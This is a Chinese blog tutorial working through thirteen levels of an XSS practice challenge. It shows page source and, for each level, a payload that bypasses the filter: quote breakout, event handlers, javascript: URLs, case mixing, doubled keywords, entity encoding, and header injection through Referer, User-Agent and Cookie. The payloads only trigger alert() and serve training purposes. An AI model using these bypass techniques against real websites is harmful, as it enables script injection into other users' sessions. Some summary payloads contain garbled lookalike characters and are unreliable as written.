当前位置:   article > 正文

【XSS漏洞05】XSS通关大挑战_xss挑战

xss挑战

1 实验简介

  1. 实验网站:http://test.ctf8.com/
  2. 实验目的:
    1. 熟悉XSS漏洞测试的过程;
    2. 判断是否过滤与过滤规则;
    3. 练习XSS语句构造与绕过方法;
    4. 一边练习一边结合SQL注入进行比较;
    5. 一边练习一边思考编码与转码,后续补充这一方面的学习。

2 通关过程

2.0 通关前准备

  1. 在测试过程中,有哪些东西是我们可以利用来猜测与判断的:
    1. 网页页面的变化;
    2. 审查网页元素;
    3. 查看网页源码;
    4. 如果是白盒测试,还可以进行代码审计。
  2. 一个好用的方便我们判断网页后台对输入语句过滤规则的语句:<script " 'OOnn>,利用该语句输入后,审查源码,猜测是否过滤以及过滤规则是什么。
  3. 准备好后出发,点击网站开始挑战。
    在这里插入图片描述

2.1 关卡1

  1. 迎面而来的是一位脱发严重的大叔,他说IT很简单(神翻译)。
    在这里插入图片描述
  2. 我们在搜索栏将参数修改为检验神句?name=<script " 'OOnn>回车。发现网页一片空白,无事发生。
    在这里插入图片描述
  3. 右键页面查看一下网页源码,在第16号,发现所有符号都没过滤,也没有转义,构造的语句完完整出现在这里,我们心中毫无波澜甚至有点想笑。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  1. 修改参数为?name=<script>alert(/xss/)</script>,轻松带走。
    在这里插入图片描述

2.2 关卡2

  1. 理所当然地接受表扬并点击确定进入关卡2,提示让你保存冷静并嘲讽你尝试个头。
    在这里插入图片描述
  2. 老规矩先打一套测试语句,<script " 'OOnn>回车,无事发生。我们可以看到输入框中没有显示出双引号,所以此处语句应该是被双引号闭合。
    在这里插入图片描述
  3. 我们看一下源码:
    1. 在第19行,可以看到输入的参数是被双引号闭合着带入到input标签中。
    2. 对此,我们需要在开头构造一个">把签名input标签闭合掉,这样我们构造的标签就能顺利被编译,而不是简单字符串了。为了结构完整,可以在结尾构造一个"<把input剩下的尖括号闭合掉。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script " 'OOnn>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 修改参数为"><script>alert(/xss/)</script><",顺利通过轻松带走。

2.3 关卡3

  1. 老规矩先打一套测试语句,<script " 'OOnn>点搜索,无事发生。仅能看到输入框的内容里没有单引号,因此我们猜测该输入参数是被单引号闭合的。
    在这里插入图片描述
  2. 源码查看一下:
    1. 在第18行可以看到,大小于号和双引号被转义,但是单引号没有被转义且参数是用单引号闭合的。
    2. 由于大于号被转义,我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式,同时使用单引号来闭合。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script &quot; 'OOnn&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 当我们输入参数'onmouseover='alert(/xss/)并点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
    在这里插入图片描述

2.4 关卡4

  1. 老规矩先打一套测试语句,<script " 'OOnn>点搜索,无事发生。我们看到搜索框里没有小于号,估计是被转义了,内容也是到script截止,猜测内容是由双引号闭合的。
    在这里插入图片描述
  2. 源码如下:
    1. 可以看到第18,大小于号已被过滤,引号没有被过滤或转义,参数采用的是双引号的闭合方式。
    2. 因此本题构造语句也需要使用事件触发类型的,避免使用大小于号。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 修改参数为"onmouseover="alert(/xss/),点击搜索时,没有弹出窗口,但是当我们将鼠标移动至输入框时,触发事件,就弹出窗口。
    在这里插入图片描述

2.5 关卡5

  1. 老规矩先打一套测试语句,<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看一下源码:
    1. 在第18行我们发现两个关键字被转义,大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
    2. 对此,我们可测试其他关键字语句。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt " 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 构造参数为"><a href="javascript:alert(/xss/)">click me!</a><",点击搜索,出现页面如下,点击则通关。
    在这里插入图片描述

2.6 关卡6

  1. 老规矩先打一套测试语句,<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看源码:
    1. 在第18行,发现关键字被转义,大小于号没有被过滤与转义,引号没有被过滤与转义。语句采用双引号闭合方式。
    2. 在第18行中,发现与上一关差异的是,本关卡没有对大小写进行转化,但是On之间还是被插入了下划线。
    3. 与上一关同理,采用a标签试试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script &quot; 'Oonn&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt " 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 构造参数为"><a href="javascript:alert(/xss/)">click me!</a><",网页源码如下,可以看到a标签的href属性也被转义了。对此,考虑到本关卡没有对大小写转化(见上一步),测试大小写混编输入。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&quot;&gt;&lt;a href=&quot;javascript:alert(/xss/)&quot;&gt;click me!&lt;/a&gt;&lt;&quot;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value=""><a hr_ef="javascript:alert(/xss/)">click me!</a><"">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:52</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 修改参数为"><a Href="javascript:alert(/xss/)">click me!</a><",点击搜索如下。通关。
    在这里插入图片描述

2.7 关卡7

  1. 老规矩先打一套测试语句,<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看源码:
    1. 在第18行我们看到,script被过滤,同时on也被过滤了一次,其余符号没进行处理。同时,语句采用双引号闭合方式。
    2. 对此,考虑双写绕过。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 构造参数如"><scrscriptipt>alert(/xss/)</scrscriptipt><",成功通关。
    在这里插入图片描述

2.8 关卡8

  1. 老规矩先打一套测试语句,<script " 'OOnn>,显示如下。与上面实验均不同的是,此处将我们所有输入都输出在框里。
    在这里插入图片描述
  2. 查看源码:
    1. 在第18行可以看到,大小于号被转义、双引号被转义、单引号没事、关键字没事,同时,语句采用双引号闭合方式。
    2. 在第21行中,我们看到参数被传递到a标签的herf属性中,大小于号被转义回来,双引号还是被转义着、关键字被插入下划线,单引号没事。
    3. 对此,考虑注入href的伪协议。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt &quot 'oo_nn>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

3.构造参数为 javascript:alert(/xss/),查看源码如下:
1. 在第21行中,可以看到伪协议中的script被插入了下划线。
2. 对此,考虑对部分字符进行编码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="javascript:alert(/xss/)">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert(/xss/)">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:24</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 在构造参数的script中的c转码,修改参数为javas&#x63;ript:alert(/xss/),完成后点击友情链接触发XSS。
    在这里插入图片描述

2.9 关卡9

  1. 老规矩先打一套测试语句,<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看源码:
    1. 在第18行,我们看到大小于号被转义、双引号被转义、单引号没事、关键字没事、大写变小写。同时,参数采用双引号闭合。
    2. 在第21行,与上一关类似的,参数被传递到href参数中,但是此处显示链接不合法,具体怎么不合法的没有说,在没有代码审计的情况下,只能一步步尝试什么格式才是合法的。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 输入参数为http://xxx.xxx并提交,查看源码发现现在链接是合法的,我们估计是加了http://这个信息的缘故。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="http://xxx.xxx">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="http://xxx.xxx">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  1. 修改参数为:javas&#x63;ript:alert('http://'),让内容中含有http://这一段字符串,成功执行。
    在这里插入图片描述

2.10 关卡10

  1. 老规矩先打一套测试语句,在搜索栏将参数改为?keyword=<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看一波源码:
    1. 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20行,发现另外三个输入参数,分别是t_link、t_history、t_sort,考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  1. 当我们修改参数为?t_sort=<script " 'OOnn>,看到源码中出现我们输入的参数值。
    1. 在第20行,大小于号被过滤,其余没事,参数采用双引号闭合。
    2. 对此,考虑不需要大小于号的事件触发方式构造语句。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="script " 'OOnn" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  1. 我们修改参数为?t_sort=click me!" type="button" onclick="alert(/xss/)。页面显示如下,点击就通关。
    1. ?t_sort=表示参数是传递给谁;
    2. click me!"给input赋值同时闭合双引号;
    3. 修改type属性为按钮方便事件触发;
    4. onclik则表示点击时触发事件。
      在这里插入图片描述

2.11 关卡11

  1. 老规矩先打一套测试语句,在搜索栏将参数改为?keyword=<script " 'OOnn>,显示如下。
    在这里插入图片描述
  2. 查看源码:
    1. 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20、21行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ref,考虑将测试语句依次传入进行测试。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  1. 当传入参数为?t_sort=<script " 'OOnn>时,源码如下:
    1. 发现第20行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
    2. 方法一:尝试从 keyword 和 t_sort 进行突破,两者的过滤规则是一样的,需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过,发现还是不行。
    3. 方法二:其他三个参数时均没有显示,可能该参数不是通过url地址栏传递的,比如说t_ref有可能是http的referer头部信息。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="&lt;script &quot; 'OOnn&gt;" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:0</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  1. 为了测试http请求其他位置的输入,比如referer,我们需要借助BurpSuite工具(相关安装与应用查看文末参考文献)来修改请求,将请求发到repeater,在host下新增一行referer:<script " 'OOnn>,点击send。在回包中看到t_ref参数显示出我们的参数,没有任何过滤。
    在这里插入图片描述
  2. 回到proxy模块,再次获取请求,并修改参数如下:referer:click me!" type="button" onclick="alert(/xss/),点击forward。
    在这里插入图片描述
    看到还有第二个请求,同样增加这个参数,再点击forward。
    在这里插入图片描述
    看到还有第三个请求,同样增加这个参数,再点击forward。
    在这里插入图片描述
  3. 参数顺利传回浏览器,如下,点击则通关。
    在这里插入图片描述

2.12 关卡12

  1. 老规矩先打一套测试语句,在搜索栏将参数改为?keyword=<script " 'OOnn>,显示如下。在这里插入图片描述
  2. 查看源码:
    1. 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事,大写没有转化为小写。同时语句采用双引号闭合。
    2. 在第18、19、20、21行,发现另外四个输入参数,分别是t_link、t_history、t_sort、t_ua,看到t_ua后面的值,我们知道又是要利用头部信息了。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level12</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0" type="hidden">
</form>
</center><center><img src=level12.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  1. 同样的,利用BurpSuite获取到浏览器的请求,可以按上一题的做法先将请求发送到repeater模块进行测试,测试完毕后再回到proxy模块将请求回包传递到浏览器。经测试,通过修改User-Agent参数为click me!" type="button" onclick="alert(/xss/)可以触发XSS漏洞,如下,点击forward。
    在这里插入图片描述
    看到还有第二个请求,同样修改这个参数,再点击forward。
    在这里插入图片描述
    看到还有第三个请求,同样修改这个参数,再点击forward。
    在这里插入图片描述
    看到还有第四个请求,同样修改这个参数,再点击forward。
    在这里插入图片描述
  2. 参数顺利传回浏览器,如下,点击则通关。
    在这里插入图片描述

2.13 关卡13

  1. 本关卡参考上两关卡进行,步骤简化描述了。
  2. 跳过了使用测试语句,我们直接查看源码。在第21行,可以看到这次应该是通过cookie进行验证。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="call me maybe?" type="hidden">
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  1. 我们看到请求中的COOKIE参数的user值与源代码中的一致,修改它为click me!" type="button" onclick="alert(/xss/),点击forward。
    在这里插入图片描述
    第二个请求中没有cookie参数,不用管,直接forward。
    在这里插入图片描述
    第三个请求中没有cookie参数,不用管,直接forward。
    在这里插入图片描述
  2. 参数顺利传回浏览器,如下,点击则通关。
    在这里插入图片描述

2.14 通关命令汇总

//测试语句
<script " 'OOnn>
//关卡1
?name=<script " 'OOnn>
//关卡2
"><script>alert(/xss/)</script><"
//关卡3
'οnmοuseοver='alert(/xss/)
//关卡4
"οnmοuseοver="alert(/xss/)
//关卡5
"><a href="javascript:alert(/xss/)">click me!</a><"
//关卡6
"><a Href="javascript:alert(/xss/)">click me!</a><"
//关卡7
"><scrscriptipt>alert(/xss/)</scrscriptipt><"
//关卡8
javas&#x63;ript:alert(/xss/)
//关卡9
javas&#x63;ript:alert('http://')
//关卡10
?t_sort=click me!" type="button" οnclick="alert(/xss/)
//关卡11
referer:click me!" type="button" οnclick="alert(/xss/)
//关卡12
User-agent:click me!" type="button" οnclick="alert(/xss/)
//关卡13
cookie-user:click me!" type="button" οnclick="alert(/xss/)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28

3 总结

  1. 通过测试语句执行情况、网页源码:
    1. 判断大小于号是否过滤与转义;
    2. 判断单双引号是否过滤与转义;
    3. 判断关键字是否过滤与转义;
    4. 判断大小写是否转化;
    5. 判断语句闭合方式。
    6. 额外地,可以分析是否存在其他注入点。
  2. 根据判断结果,灵活构造语句与利用绕过规则。

参考文献

  1. BurpSuite简介及安装
  2. BurpSuite截获请求并生成文件
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/712897
推荐阅读